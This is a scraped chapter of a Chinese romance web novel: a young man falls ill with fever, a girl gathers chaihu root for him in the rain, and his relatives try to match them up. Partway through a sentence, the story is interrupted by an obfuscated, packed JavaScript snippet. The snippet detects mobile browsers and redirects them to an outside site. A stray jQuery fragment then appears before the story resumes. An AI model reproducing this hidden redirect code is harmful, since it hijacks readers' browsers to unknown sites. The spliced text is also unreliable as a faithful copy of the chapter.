默认冷灰
24号文字
方正启体

12. 第12章

作者:柳欲本书字数:K更新时间:
    而且当她离得越近时,秀丽的脸庞就越清晰,还有她释放出甜美的声音喊:“赵婶!”


    那他就没有看错,眼前这人肯定是汤妧。


    江直宵现在的脸色红润到不正常,汤妧弯腰半蹲在他的床头,继续喊:“你快过来看,他好像烧的特别厉害!”


    汤妧的眼睛看起来圆润又水灵,映在江直宵的心上能泛起涟漪,他的眼睛也就微微在眼眶中晃动。


    还闻到随风卷来的香气,是发自汤妧身上的,而现在裹满了他的鼻腔。


    但他不想沉沦在其中,就任由卫生员去打断。


    半年迈的赵婶摸上江直宵的额头,立马断定:“这是发烧,但我手上没可食用的药,只能开民间自配土方和简单的伤口包扎。”


    她想着大城市的医疗条件肯定比村里好,那能从燕京过来的人就会比较娇贵,所以不轻易下治疗方案把选择权交给他们。


    随后又补充道:“想要打针就得去县城的卫生院或者联合诊所。”


    江应许听完问江直宵:“孩子,你能不能撑到去县城?我能找来村里的驴车或者骡车,这路程大抵得有个三十多公里,估摸着再快赶都得到明天下午进县城。”


    依江直宵的理解,二叔能这么问就是起了去县城的心,但又担心他的身体怕半路出意外。


    而江直宵却不想麻烦大家,便说:“我吃土方子就好,我这身体不金贵,二叔二婶你们别担心,肯定很快就能痊愈。”


    汤妧等不及二叔二婶回话,她突然横插说:“赵婶,是什么土方子?”


    赵婶如实交代:“是柴胡根,灌水服用就能退烧。”


    “好,我现在就去摘,麻烦赵婶先给他包扎伤口。”汤妧一口气快速说完就噔噔噔的跑走。


    江直宵在她身后想阻拦,叫出了:“汤妧”二字。


    汤妧没听到,还越跑越远。


    可江博乐听清楚了,还理解江直宵的意思,在临走前说:“大哥你放心,她就交给我了。”


    汤妧的腿伤不能让她剧烈运动,这会跑了一阵就已感受到疼痛,导致速度不得不被迫下降些。


    但是救江直宵的命更要紧,汤妧忍着痛又把速度提了起来,不过想到一个减轻疼痛的好办法。


    她张开嘴肆无忌惮的喊:“嗷飞飞...嗷飞飞飞...”


    用声音导痛来降低对腿的注意力,结果刚喊两声身后也传来嗷飞飞飞。


    顿住!


    再到缓缓转身,汤妧捂着胸口问:“你谁呀?”


    江博乐憨憨的自我介绍,说:“我是他弟,也是他让我跟着你一起过来的。”


    原来是这样,汤妧害怕的心,稍稍放下了些。


    江博乐此时又说:“你找柴胡根,我也找,咱俩结伴吧,人多力量大。”


    汤妧手指向前面的山坡讲:“那就有,之前我奶奶也发烧过,等摘回来灌水喝后就好了。”


    这给了江博乐莫大的信心,他大声说:“好!看我给咱抓一大把回来!”


    陈静好端了碗温水递到江直宵眼前,“多喝点,燕京的医生说过多尿能排毒。”


    江直宵端起,缓缓朝喉咙输送。


    江应许此时送走包扎完伤口的卫生员回来,对着江直宵温柔讲:“你要上厕所就同我说,我带你去外面解手,或者这屋里的痰盂你先用着。”


    有的东西很奇怪,你不用它的时候,天天在各处都能见到,等到真要用的时候,一点身影都找不到!


    于是拿不来痰盂,只能换成别的招数,“你尿到你喝的碗里也行。”


    江直宵原本好好的在喝水,听到这句话顿时喷出来些许。


    陈静好无语的看向自己丈夫,责怪道:“应许,你说话也太不讲究了!”


    江应许忙走上前想帮江直宵擦嘴,脚尖却先踢到东西他低头一看,是一袋苞谷馍和家人的骨灰盒。


    当即小心翼翼的拾起后说起:“刚才那小姑娘是我去找卫生员得路上碰到的,她拦着我要还咱们家亲人的骨灰盒。”


    路上碰到的?


    她居然不顾自己的伤,只一心想还他们骨灰盒,江直宵不知道该怎么去说她。


    江应许却问出想知道的,“她就是强嫁给你的姑娘吧?”


    江直宵的脸明明是因为发烧变红的,但这会陈静好总觉得好像变得更红了,她不知道是不是眼睛出了问题。


    而在江直宵的视角下,被二叔二婶紧紧盯住一举一动,他想隐瞒感觉都会被看穿,索性就点头承认。


    接着江应许评价道:“我感觉那姑娘对直宵挺上心的,应该是个不错的好孩子,尤其是刚才同框的画面显得他俩特般配。”


    陈静好紧随丈夫,“她还很紧张我们直宵呢,不似她娘的胡搅蛮缠样,感觉天生是自带教养的气质,只可惜他们是以这样的方式成婚。”


    他俩说的话给江直宵听得心头一紧,他寻思这是暗戳戳的撮合之意?


    那不行!


    得打消这个念头,当下就讲:“归还骨灰盒是很正常的事,二叔二婶你们不用脑补那么多,再者人生病本就能引起关注,她只是做了一件善良的事。”


    可事实果真如此吗?


    江直宵细想了下,给自己整出两声咳嗽。


    陈静好马上关切的问道:“嗓子怎么回事?是疼还是觉得有痰?”


    江直宵摇摇手说:“我没事,刚只是吸了点冷空气。”


    后来江应许和陈静好一对视,都感觉到侄子有种心虚的模样。


    江直宵却要一硬到底:“麻烦二叔二婶收拾行李,等我这烧一退咱们就回燕京。”


    这话震到江应许,“太赶时间了吧,你还有四天的假,不需要这么行色匆匆。”


    陈静好这回没有夫唱妇随,她拉走江应许,在临出房门前解释道:“我让你二叔出去提水,我去厨房烧水,等一会我们再过来看你。”


    江直宵让他们夫妻一直很省心,眼下安静的点点头不再说话。


    而陈静好出了房门就批评江应许,“你就没发现直宵的表情都不对了吗?还在那一个劲儿的叭叭不闭嘴。”


    江应许没觉得有何不妥,反驳道:“我那是关心我侄子。”


    “那既然是关心侄子,在他明确表示对汤家姑娘没意思的时候,你们就别再强迫的撮合了。”


    此话一出,吓得江应许马上捂住陈静好的嘴,“你别再说下去。”


    接着专门返回到江直宵的住处,在窗外偷看他没有任何动静,才板起脸用严肃的表情拉远陈静好。


    在山坡上,汤妧和江博乐都成功采到柴胡根,可惜返回的路上遇到阵雨。


    汤妧下意识把草放到怀里一路小跑,江博乐则头顶着柴胡根快跑,等眼前同时出现江直宵所住的房屋时,都立马加速前进的冲进厨房交给陈静好。


    陈静好倒上热水说:“真是辛苦你们了,快喝点暖身子。”


    然后指使江应许去把热好的饭菜端上来,才对汤妧单独讲:“我带你去换件衣裳吧,虽然我的衣服你穿上肯定肥大,但也比现在都浑身湿漉漉的好。”


    这边正说着江应许就已摆好一桌子菜,其中大部分都是从燕京带来的腌制品,因为他们吃不习惯秦巴地区的口味。”


    汤妧的注意力也集中在了这上面,但还是不忘先回答陈静好的话:“谢谢大娘的好意,我能先问一下这些也要拿给江直宵吃吗?”


    江应许说:“对呀。”


    “可这些都不利于他的身体恢复,尤其吃些味道重的后有可能会加剧病情的恶化。”


    汤妧这番考量,让陈静好后知后觉,她埋怨自己的脑子,然后焦虑道:“那该怎么办,我这再没别的可吃。”


    汤妧倒是想起提来得苞谷馍,问:“请问有看见它吗?”


    江应许端菜的时候有看到过


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16317568|183085||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,忙说:“在厨房的蒸锅里,我现在就去拿过来。”


    “我来吧,我正好拿几个出来,端给江直宵吃。”汤妧对他的关心溢出来,很快又觉得考虑不周,问道:“他应该还没吃吧?”


    陈静好解答:“他没吃,正在床上躺着。”


    得到答复的汤妧才有勇气接着说:“那剩下的就留给你们吃,这苞谷馍是秦巴地区的特色食物,用苞谷做的不加任何调料。”


    江直宵虚弱的躺在床上,他全身还是很滚烫但好像适应了,在听到动静后能有力气抬眼去看是谁来了。


    是浑身湿漉漉的汤妧走到了面前,跟她手上冒热蒸汽的馍形成极致的反差,让他的眉头瞬间拧成一股绳。


    汤妧却满脸开心的说:“柴胡根我已经交给你家人了,估摸着一会就能喝到,你先吃些苞谷馍垫垫肚子吧,要不然空腹可能会导致呕吐。”


    江直宵沉默没说话。


    汤妧眨眨眼,以为是他不信,补充道:“我奶奶曾经就这样过。”


    此时江直宵的眉毛已经皱到能绞死人,但还是沉默不语,只一味地强撑着身体走下床。


    汤妧只好先把苞谷馍放桌上在扶他,结果还未转身,就感受到有件干香的衣服披到了身上。


    江直宵顶着红脸说:“这件衣服还有个配套的裤子,我洗干净后就再没穿过它们,你可以换上或者就一路披着回家。”


    心脏跳的好快,汤妧感觉它要从嘴里飞出来,这就是心动的感觉吧,但怎么能对下定决心要做朋友的男人产生心动呢。


    她来不及梳理混乱的脑子就说:“不用了,我身体好。”


    接着就要脱下这件被江直宵气味浸泡的衣服。


    江直宵却强硬的按住在她锁骨处的扣子,延续成霸道的口吻嘱咐说:“你必须穿上干衣服!”


    如此一来,两人之间的氛围显得有些难言的亲密,不巧的是江博乐这时候还冲了进去,他手上端着一碗水和拿着洗净的柴胡根。


    而眼下不知他是怎么想的,但江直宵和汤妧早已心虚,他俩仿佛同时被吓到,只知道互相往后退。


    引得江博乐愣着说:“你们刚刚是做了什么吗?那我应该要回避吧?”说完试探的把药和碗放下就要走。


    却被汤妧喊住,“不是你走,是我走!”


    然后她就披着江直宵的衣服一口气跑到村里的街道上。


    那时候的江直宵紧张的看了眼外面的天,还保持着雨过天晴的气色后才松了口气。


    江博乐不懂弯弯绕绕,他只顾得眼前要扶大哥上床休息,便走上前搀扶其左胳膊。


    江直宵没反对,任由他扶着走,但在看到他干净的衣服后,随口问了句:“你回来换过衣服了?”


    江博乐直言:“没有呀。”


    江直宵一震,追问,“你不是和汤妧一块出去的吗?她都浑身湿透了你怎么如此干爽?”


    江博乐心想终于能吐槽了:“阵雨本来就是一阵的事,她偏要保护柴胡根才淋个湿透,而我聪明的选择举起柴胡根挡雨,所以身上湿的少恢复干爽的状态也就快。”


    江直宵此时不走了。


    江博乐好像也感觉到吐槽后的不对劲...


    额...那他能重说吗?


    不管了,一定要补充解释:“哥,我那么做可不是不为你着想,而是柴胡原本就会淋雨所没必要遮雨。”


    江直宵被刺痛到,显得他有些狼狈的说:“是呀,因为没享受过被遮雨的感觉,所以会理所应当的被认为不用遮雨。”


    听后,江博乐似懂非懂的说:“哥,你讲的有些深奥。”


    汤妧走回家的路上是大大小小的水坑,她专心致志的避开同时听到有人在身后喊她。


    她回头,看到的是江博乐。


    江博乐终于是赶上汤妧了,他大喘着粗气说:“大哥让我一定要把你送回家,要不然我就惨了。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)